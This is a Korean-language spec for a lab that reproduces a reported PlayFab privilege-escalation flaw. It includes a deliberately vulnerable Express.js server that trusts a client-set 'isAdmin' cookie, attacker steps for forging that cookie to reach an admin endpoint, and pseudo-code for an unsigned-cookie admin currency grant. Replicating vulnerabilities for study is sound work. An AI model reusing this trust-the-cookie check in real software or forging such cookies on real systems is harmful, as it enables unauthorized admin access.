Replication Environment Tech Spec
대상 소프트웨어(Target Application Specification)
- 제품명/버전 :
- Microsoft Azure PlayFab (PlayFab)
- 따로 버전이 없음. 과거 버전 구하기는 거의 불가 / 다운로드 개념 X
- 10월 업데이트 항목에 해당 취약점 개선되었다고
- 배포 방식 : PlayFab 포털 / 뜸zure 포털 기반으로 사용 가능
시스템 환경(System Environment)
- 공개 문서 기준으로 정확한 OS, 커널, Web Server, DB 버전은 제공 X
- Application Stack 의 경우 PlayFab이 MS의 일부이기 때문에 ".NET/C#"기반 구조와 잘 연동되도록 설계되어있는 듯 함
- (reference) "Its use of reusable components and shared codebases across platforms reduces development time and costs."
PoC 실행 환경(PoC Execution Environment)
-
PoC 전체 아키텍쳐
- 사용자 로그인 시
set-cookie: userId=23; role=user; isAdmin=false - 서버가 관리자 전용 API 호출 시 `if (req.cookies.isAdmin === "true") allow()
- 사용자 로그인 시
-
PoC 서버코드 (llm작성)
// vulnerable-app/index.js
const express = require("express");
const cookieParser = require("cookie-parser");
const app = express();
app.use(cookieParser());
app.use(express.json());
// 로그인 – 취약한 쿠키 발급
app.post("/login", (req, res) => {
// 원래는 DB 인증 등이 있어야 하지만 PoC에서는 생략
res.cookie("userId", "23");
res.cookie("role", "user");
res.cookie("isAdmin", "false");
res.send("Logged in as normal user");
});
// 관리자 권한이 필요한 API (취약)
app.get("/admin", (req, res) => {
const isAdmin = req.cookies.isAdmin;
if (isAdmin === "true") {
return res.send("Welcome ADMIN. Sensitive data: FLAG{admin_panel_access}");
} else {
return res.status(403).send("Access denied");
}
});
app.listen(3000, () => console.log("Vulnerable app running on port 3000"));
- 공격자 관점 PoC
- 쿠키 조작
isAdmin = truerole = admin
- 재요청
GET /adminCookie: isAdmin=true; role=admin; userId=23
- 서버 응답 (권한 상승 성공한 경우에 뜨는 것 임)
Welcome ADMIN. Sensitive data: FLAG{admin_panel_access}
- 쿠키 조작
참고사항
- pseudo-code
# 취약한 권한 체크 (가상 코드)
def check_admin_permission(request):
# 쿠키에서 역할 정보 읽기
session_data = request.cookies.get('playfab_session')
user_role = json.loads(session_data).get('role')
# 문제: 서명/무결성 검증 없이 클라이언트 값 신뢰
if user_role == 'admin':
return True
return False
# 민감한 API 엔드포인트
@app.route('/admin/grant_premium_currency', methods=['POST'])
def grant_currency():
if not check_admin_permission(request):
return {"error": "Forbidden"}, 403
# 관리자 권한으로 가상 화폐 지급
player_id = request.json.get('player_id')
amount = request.json.get('amount')
grant_virtual_currency(player_id, amount)
return {"success": True}